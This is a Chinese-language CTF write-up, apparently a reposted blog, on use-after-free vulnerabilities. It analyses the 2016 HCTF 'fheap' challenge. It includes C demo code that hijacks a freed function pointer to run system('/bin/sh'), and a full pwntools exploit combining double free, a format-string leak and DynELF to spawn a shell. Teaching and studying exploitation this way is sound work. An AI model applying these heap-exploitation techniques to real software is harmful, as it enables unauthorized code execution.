UAF (Use After Free)漏洞分析及利用

因为大作业的需求要调试一个浏览器的UAF漏洞,首先必须对UAF漏洞有个整体的了解,本篇文章主要讲解UAF造成的原因以及利用方法,这里结合2016年HCTF fheap
题目分析起来还是有点耐人寻味。

0x01 UAF 原理

这里首先放一段简单的c代码,让大家更容易理解(linux 环境)

#include <stdio.h>
#include <cstdlib>
#include <string.h>
int main()
{
    char *p1;
    p1 = (char *) malloc(sizeof(char)*10);//申请内存空间
    memcpy(p1,"hello",10);
    printf("p1 addr:%x,%s\n",p1,p1);
    free(p1);//释放内存空间
    char *p2;
    p2 = (char *)malloc(sizeof(char)*10);//二次申请内存空间,与第一次大小相同,申请到了同一块内存
    memcpy(p1,"world",10);//对内存进行修改
    printf("p2 addr:%x,%s\n",p2,p1);//验证
    return 0;
}

如上代码所示

1.指针p1申请内存,打印其地址值
2.然后释放p1
3.指针p2申请同样大小的内存,打印p2的地址,p1指针指向的值

Gcc编译,运行结果如下:
这里写图片描述
p1与p2地址相同,p1指针释放后,p2申请相同的大小的内存,操作系统会将之前给p1的地址分配给p2,修改p2的值,p1也被修改了。

重温程序,看注释


根本原因

应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

简单讲就是第一次申请的内存空间在释放过后没有进行内存回收,导致下次申请内存的时候再次使用该内存块,使得以前的内存指针可以访问修改过的内存。

0x02 漏洞的简单利用

还是先放一段程序(linux x86)

#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
    func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));
    printf("malloc addr: %p\n",p1);
    p1[3]=echo;
    p1[3]("hello world\n");
    free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
    p1[3]("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用.
    func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
    printf("malloc addr: %p\n",p2);
    printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址
    p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
    p1[3]("/bin/sh");
    return 0;
}

运行效果
这里写图片描述
最后成功获取shell
具体的解释注释里面很清楚,详见注释

0x03 2016HCTF fheap

用了一天的时间调试程序,这里参考了FlappyPig与官方的详细题解,但是总觉的说的不够清楚,有些地方理所当然,作为小白根本看不懂。结合着自己的漏洞调试经验写出详细的分析过程,供大家参考。

0x1 题目分析

整个题目做下来利用到了很多知识点,这里列举一下

  1. UAF 二次释放& fastbin的特性
  2. 64位格式化字符串漏洞
  3. 无libc地址泄露,DynELF

主要运用的就是以上三点,首先寻找UAF可执行任意函数漏洞,其次利用puts函数寻找基址,接着利用printf格式化字符串进行内存泄露,最后UAF执行system函数

0x2 申请&释放 代码

在编写的时候注意,输入顺序,利用recvuntil控制输入流程

申请代码 
def create(size,content):
    p.recvuntil("quit")
    p.send("create ")
    p.recvuntil("size:")
    p.send(str(size)+'\n')
    p.recvuntil('str:')
    p.send(content)
    p.recvuntil('\n')[:-1]

释放代码
def delete(idx):
    p.recvuntil("quit")
    p.send("delete ")
    p.recvuntil('id:')
    p.send(str(idx)+'\n')
    p.recvuntil('sure?:')
    p.send('yes '+'\n')

0x3 UAF漏洞查找

程序自己实现了一套管理字符串的体系,但是在释放的时候用指针是否为空来判断该索引代表地方是否存放有字符串,如果指针不空,表示可以释放。但是释放完后,没有将指针置空,因此导致可以二次释放,多次释放

这里写图片描述

最后在释放内存之后,在delete后并没有置空,存在double free

0x4 利用UAF修改函数地址

首先我们了解一下本题的uaf漏洞,这里利用图片的形式展示一下关系

1.fastbin特性

fastbin维护的chunk分九个档次,大小从16字节到80字节,每8个字节一个档次。那我们要求的0x20(32)个字节,属于48字节的档次(因为每个chunk还要加上16字节的管理区),所以我们申请0x20空间后释放的chunk被归到fastbin[5]这个链表中了。

2.内存分布

这里写图片描述

利用gbd动态调试查看结构体内存
这里写图片描述
最后一个就是freeshort函数指针

总思路:首先是利用uaf,利用堆块之间申请与释放的步骤,形成对free_func指针的覆盖。从而达到劫持程序流的目的。具体来说,先申请的是三个字符创小于0xf的堆块,并将其释放。此时fastbin中空堆块的单链表结构如下左图,紧接着再申请一个字符串长度为0x20的字符串,此时,申请出来的堆中的数据会如下右图,此时后面申请出来的堆块与之前申请出来的1号堆块为同一内存空间,这时候输入的数据就能覆盖到1号堆块中的free_func指针,指向我们需要执行的函数,随后再调用1号堆块的free_func函数,即实现了劫持函数流的目的。

这里写图片描述

0x5 泄露基址

我们要知道堆的释放是一个先入后出的队列,也就是说你第最后一个释放,那么就地一个用,就本体而言首先申请三个堆块 ,其实两个就可以

    create(4,'aa')
    create(4,'bb')
    delete(1)
    delete(0)

通过调用puts函数打印该函数的地址(一开始我不怎么理解),为什么是覆盖成2d为什么不是1a等其他puts函数的地址,自己调试一下就知道了。

    data='a'*0x10+'b'*0x8+'\x2d'#第一次覆盖,泄露出函数地址。
    create(0x20,data)#在这里连续创建两个堆块,从而使输入的data与前面的块1公用一块内存。个堆块,从而使输入的data与前面的块1公用一块内存。
    delete(1)#这里劫持函数程序流function puts running
    p.recvuntil('b'*0x8)
    data=p.recvuntil('1.')[:-2]
    print data
    if len(data)>8:
        data=data[:8]
    data=u64(data.ljust(8,'\x00'))-0xA000000000000 #这里减掉的数可能不需要,自行调整
    print hex(data)
    proc_base=data-0xd2d
    print "proc base",hex(proc_base)

找到了plt表的基地址,下面就是对于格式化字符串的利用

6.格式化字符串

我们想要知道system的地址,在没有libc的环境下,利用格式化字符串泄露内存地址从而得到system的加载地址

格式化字符串的洞,一开始不知道怎么发现的。但想了一下,格式化字符串的洞必须满足以下条件,
1. 用户的输入必须能打印
2. 用户输入的字符串在printf函数栈的上方(先压栈)

就这两个条件我们很快可以分析出漏洞的点就在create & delete 函数
我们首先create字符串调用delete 此时freeshort地址变成了printf,可以控制打印
但是我们的参数放在哪里呢?
我们又发现当输入yes时yes字符串在堆栈的位置正好是printf的上方

下面找一下printf的偏移
这里写图片描述

64位的格式化字符串 参见我的另一篇博客
找到偏移是9
这时编写leak函数

def leak(addr):
    delete_str(0)
    payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr)
    create_str(0x20,payload)
    sh.recvuntil("quit")
    sh.send("delete ")    
    sh.recvuntil("id:")
    sh.send(str(1)+'\n')
    sh.recvuntil("?:")
    sh.send("yes.1111"+p64(addr)+"\n")  
    sh.recvuntil('a')
    data = sh.recvuntil('####')[:-4]
    if len(data) == 0:
        return '\x00'
    if len(data) <= 8:
        print hex(u64(data.ljust(8,'\x00')))
    return data

0x7 泄露system地址并使用

     #step 5 leak system addr
    create_str(0x20,payload)
    delete_str(1)#this one can not be ignore because DynELF use the delete_str() at begin     
    d = DynELF(leak, base_addr, elf=ELF('./pwn-f'))
    system_addr = d.lookup('system', 'libc')
    print 'system_addr:'+hex(system_addr)

    #step 6 recover old function to system then get shell
    delete_str(0)
    create_str(0x20,'/bin/bash;'.ljust(0x18,'#')+p64(system_addr))#attention /bin/bash; i don`t not why add the ';'
    delete_str(1)
    sh.interactive()

0x8 完整代码

from pwn import *
sh = process('./pwn-f')

def create_str(size,str1):
    sh.recvuntil("quit")
    sh.send("create ")
    sh.recvuntil("size:")
    sh.send(str(size)+'\n')
    sh.recvuntil("str:")
    sh.send(str1)#here why can not i user '\n'
    # print '|',sh.recvuntil('\n')[:-1],'|'

def delete_str(idn):
    sh.recvuntil("quit")
    sh.send("delete ")
    sh.recvuntil("id:")
    sh.send(str(idn)+'\n')
    sh.recvuntil("?:")
    sh.send("yes"+"\n")

def leak(addr):
    delete_str(0)
    payload = 'a%9$s'.ljust(0x18,'#') + p64(printf_addr)
    create_str(0x20,payload)
    sh.recvuntil("quit")
    sh.send("delete ")    
    sh.recvuntil("id:")
    sh.send(str(1)+'\n')
    sh.recvuntil("?:")
    sh.send("yes.1111"+p64(addr)+"\n")  
    sh.recvuntil('a')
    data = sh.recvuntil('####')[:-4]
    if len(data) == 0:
        return '\x00'
    if len(data) <= 8:
        print hex(u64(data.ljust(8,'\x00')))
    return data

def main():
    global printf_addr#set global printf addr cus leak() use it 
    #step 1 create & delete
    create_str(4,'aa')
    create_str(4,'aa')
    delete_str(1)
    delete_str(0)
    #step 2 recover old function addr
    pwn = ELF('./pwn-f')
    payload = "aaaaaaaa".ljust(0x18,'b')+'\x2d'# recover low bits,the reason why i choose \x2d is that the system flow decide by
    create_str(0x20,payload)
    delete_str(1)
    #step 3 leak base addr
    sh.recvuntil('b'*0x10)
    data = sh.recvuntil('\n')[:-1]
    if len(data)>8:
        data=data[:8]    
    data = u64(data.ljust(0x8,'\x00'))# leaked puts address use it to calc base addr
    base_addr = data - 0xd2d
    #step 4 get printf func addr
    printf_offset = pwn.plt['printf']
    printf_addr = base_addr + printf_offset #get real printf addr
    delete_str(0)
    #step 5 leak system addr
    create_str(0x20,payload)
    delete_str(1)#this one can not be ignore because DynELF use the delete_str() at begin     
    d = DynELF(leak, base_addr, elf=ELF('./pwn-f'))
    system_addr = d.lookup('system', 'libc')
    print 'system_addr:'+hex(system_addr)

    #step 6 recover old function to system then get shell
    delete_str(0)
    create_str(0x20,'/bin/bash;'.ljust(0x18,'#')+p64(system_addr))#attention /bin/bash; i don`t not why add the ';'
    delete_str(1)
    sh.interactive()
if __name__ == '__main__':
    print 1
    main()
发布了99 篇原创文章 · 获赞 51 · 访问量 71万+

猜你喜欢

转载自blog.csdn.net/qq_31481187/article/details/73612451
今日推荐